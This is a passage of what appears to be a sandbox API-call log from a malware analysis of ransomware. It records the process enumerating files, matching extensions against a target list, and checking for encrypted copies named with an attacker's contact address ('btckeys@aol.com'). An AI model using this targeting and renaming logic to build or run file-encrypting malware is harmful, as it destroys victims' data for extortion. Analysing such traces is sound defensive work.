Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.896] lstrlenW (lpString=".jpg") returned 4 [0066.896] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.896] lstrcmpiW (lpString1=".avi", lpString2=".2020") returned 1 [0066.896] lstrlenW (lpString="split.avi") returned 9 [0066.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0067.709] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=194048) returned 1 [0067.709] CloseHandle (hObject=0x1d4) returned 1 [0067.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0067.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0067.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0067.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0067.709] lstrlenW (lpString=".doc") returned 4 [0067.710] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0067.710] lstrlenW (lpString=".docx") returned 5 [0067.710] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0067.710] lstrlenW (lpString=".pdf") returned 4 [0067.710] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0067.710] lstrlenW (lpString=".xls") returned 4 [0067.710] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0067.710] lstrlenW (lpString=".xlsx") returned 5 [0067.710] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0067.710] lstrlenW (lpString=".ppt") returned 4 [0067.710] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0067.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0067.710] lstrlenW (lpString=".zip") returned 4 [0067.710] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0067.710] lstrlenW (lpString=".rar") returned 4 [0067.710] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0067.710] lstrlenW (lpString=".bz2") returned 4 [0067.710] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0067.710] lstrlenW (lpString=".7z") returned 3 [0067.710] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0067.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0067.710] lstrlenW (lpString=".dbf") returned 4 [0067.710] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0067.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0067.710] lstrlenW (lpString=".1cd") returned 4 [0067.710] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0067.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0067.710] lstrlenW (lpString=".jpg") returned 4 [0067.710] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0067.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0067.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0067.710] lstrlenW (lpString=".doc") returned 4 [0067.711] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0067.711] lstrlenW (lpString=".docx") returned 5 [0067.711] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0067.711] lstrlenW (lpString=".pdf") returned 4 [0067.711] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0067.711] lstrlenW (lpString=".xls") returned 4 [0067.711] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0067.711] lstrlenW (lpString=".xlsx") returned 5 [0067.711] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0067.711] lstrlenW (lpString=".ppt") returned 4 [0067.711] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0067.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0067.711] lstrlenW (lpString=".zip") returned 4 [0067.711] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0067.711] lstrlenW (lpString=".rar") returned 4 [0067.711] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0067.711] lstrlenW (lpString=".bz2") returned 4 [0067.711] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0067.711] lstrlenW (lpString=".7z") returned 3 [0067.711] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0067.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0067.711] lstrlenW (lpString=".dbf") returned 4 [0067.711] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0067.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0067.711] lstrlenW (lpString=".1cd") returned 4 [0067.711] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0067.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0067.711] lstrlenW (lpString=".jpg") returned 4 [0067.711] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0067.711] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0067.712] lstrlenW (lpString="base_kor.xml") returned 12 [0067.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0068.392] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=488) returned 1 [0068.392] CloseHandle (hObject=0x1e4) returned 1 [0068.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0068.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0068.395] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0068.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0068.395] lstrlenW (lpString=".doc") returned 4 [0068.395] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.395] lstrlenW (lpString=".docx") returned 5 [0068.395] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0068.395] lstrlenW (lpString=".pdf") returned 4 [0068.395] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.395] lstrlenW (lpString=".xls") returned 4 [0068.395] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.395] lstrlenW (lpString=".xlsx") returned 5 [0068.395] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0068.395] lstrlenW (lpString=".ppt") returned 4 [0068.395] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0068.395] lstrlenW (lpString=".zip") returned 4 [0068.395] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.395] lstrlenW (lpString=".rar") returned 4 [0068.395] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.395] lstrlenW (lpString=".bz2") returned 4 [0068.395] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.395] lstrlenW (lpString=".7z") returned 3 [0068.395] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.395] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0068.395] lstrlenW (lpString=".dbf") returned 4 [0068.395] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0068.396] lstrlenW (lpString=".1cd") returned 4 [0068.396] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0068.396] lstrlenW (lpString=".jpg") returned 4 [0068.396] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0068.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0068.396] lstrlenW (lpString=".doc") returned 4 [0068.396] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.396] lstrlenW (lpString=".docx") returned 5 [0068.396] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0068.396] lstrlenW (lpString=".pdf") returned 4 [0068.396] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.396] lstrlenW (lpString=".xls") returned 4 [0068.396] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.396] lstrlenW (lpString=".xlsx") returned 5 [0068.396] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0068.396] lstrlenW (lpString=".ppt") returned 4 [0068.396] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0068.396] lstrlenW (lpString=".zip") returned 4 [0068.396] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.396] lstrlenW (lpString=".rar") returned 4 [0068.396] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.396] lstrlenW (lpString=".bz2") returned 4 [0068.396] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.396] lstrlenW (lpString=".7z") returned 3 [0068.396] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0068.396] lstrlenW (lpString=".dbf") returned 4 [0068.397] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0068.397] lstrlenW (lpString=".1cd") returned 4 [0068.397] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0068.397] lstrlenW (lpString=".jpg") returned 4 [0068.397] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.397] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0068.397] lstrlenW (lpString="ja-jp.xml") returned 9 [0068.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0069.668] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=16616) returned 1 [0069.668] CloseHandle (hObject=0x1d4) returned 1 [0069.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0069.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0069.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0069.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0069.668] lstrlenW (lpString=".doc") returned 4 [0069.668] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.669] lstrlenW (lpString=".docx") returned 5 [0069.669] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0069.669] lstrlenW (lpString=".pdf") returned 4 [0069.669] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.669] lstrlenW (lpString=".xls") returned 4 [0069.669] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.669] lstrlenW (lpString=".xlsx") returned 5 [0069.669] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0069.669] lstrlenW (lpString=".ppt") returned 4 [0069.669] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0069.669] lstrlenW (lpString=".zip") returned 4 [0069.669] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.669] lstrlenW (lpString=".rar") returned 4 [0069.669] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.669] lstrlenW (lpString=".bz2") returned 4 [0069.669] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.669] lstrlenW (lpString=".7z") returned 3 [0069.669] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0069.669] lstrlenW (lpString=".dbf") returned 4 [0069.669] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0069.669] lstrlenW (lpString=".1cd") returned 4 [0069.669] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0069.669] lstrlenW (lpString=".jpg") returned 4 [0069.669] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0069.669] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0069.669] lstrlenW (lpString=".doc") returned 4 [0069.669] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.669] lstrlenW (lpString=".docx") returned 5 [0069.669] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0069.670] lstrlenW (lpString=".pdf") returned 4 [0069.670] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.670] lstrlenW (lpString=".xls") returned 4 [0069.670] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.670] lstrlenW (lpString=".xlsx") returned 5 [0069.670] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0069.670] lstrlenW (lpString=".ppt") returned 4 [0069.670] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0069.670] lstrlenW (lpString=".zip") returned 4 [0069.670] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.670] lstrlenW (lpString=".rar") returned 4 [0069.670] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.670] lstrlenW (lpString=".bz2") returned 4 [0069.670] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.670] lstrlenW (lpString=".7z") returned 3 [0069.670] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0069.670] lstrlenW (lpString=".dbf") returned 4 [0069.670] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0069.670] lstrlenW (lpString=".1cd") returned 4 [0069.670] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 79 [0069.670] lstrlenW (lpString=".jpg") returned 4 [0069.670] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.670] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0069.670] lstrlenW (lpString="ko-kr.xml") returned 9 [0069.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0069.671] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=15097) returned 1 [0069.671] CloseHandle (hObject=0x1d4) returned 1 [0069.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0069.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0069.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0069.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0069.671] lstrlenW (lpString=".doc") returned 4 [0069.671] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.671] lstrlenW (lpString=".docx") returned 5 [0069.671] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0069.671] lstrlenW (lpString=".pdf") returned 4 [0069.671] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.671] lstrlenW (lpString=".xls") returned 4 [0069.671] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.671] lstrlenW (lpString=".xlsx") returned 5 [0069.671] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0069.671] lstrlenW (lpString=".ppt") returned 4 [0069.671] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0069.672] lstrlenW (lpString=".zip") returned 4 [0069.672] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.672] lstrlenW (lpString=".rar") returned 4 [0069.672] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.672] lstrlenW (lpString=".bz2") returned 4 [0069.672] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.672] lstrlenW (lpString=".7z") returned 3 [0069.672] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0069.672] lstrlenW (lpString=".dbf") returned 4 [0069.672] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0069.672] lstrlenW (lpString=".1cd") returned 4 [0069.672] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0069.672] lstrlenW (lpString=".jpg") returned 4 [0069.672] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0069.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0069.672] lstrlenW (lpString=".doc") returned 4 [0069.672] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.672] lstrlenW (lpString=".docx") returned 5 [0069.672] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0069.672] lstrlenW (lpString=".pdf") returned 4 [0069.672] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.672] lstrlenW (lpString=".xls") returned 4 [0069.672] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.672] lstrlenW (lpString=".xlsx") returned 5 [0069.672] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0069.672] lstrlenW (lpString=".ppt") returned 4 [0069.672] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0069.672] lstrlenW (lpString=".zip") returned 4 [0069.672] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.672] lstrlenW (lpString=".rar") returned 4 [0069.673] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.673] lstrlenW (lpString=".bz2") returned 4 [0069.673] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.673] lstrlenW (lpString=".7z") returned 3 [0069.673] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0069.673] lstrlenW (lpString=".dbf") returned 4 [0069.673] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0069.673] lstrlenW (lpString=".1cd") returned 4 [0069.673] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 79 [0069.673] lstrlenW (lpString=".jpg") returned 4 [0069.673] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.673] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0069.673] lstrlenW (lpString="zh-changjei.xml") returned 15 [0069.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0069.674] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=9803) returned 1 [0069.674] CloseHandle (hObject=0x1d4) returned 1 [0069.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0069.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0069.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0069.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml") returned 85 [0069.674] lstrlenW (lpString=".doc") returned 4 [0069.674] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.674] lstrlenW (lpString=".docx") returned 5 [0069.675] lstrcmpiW (lpString1=".docx", lpString2="i.xml") returned -1 [0069.675] 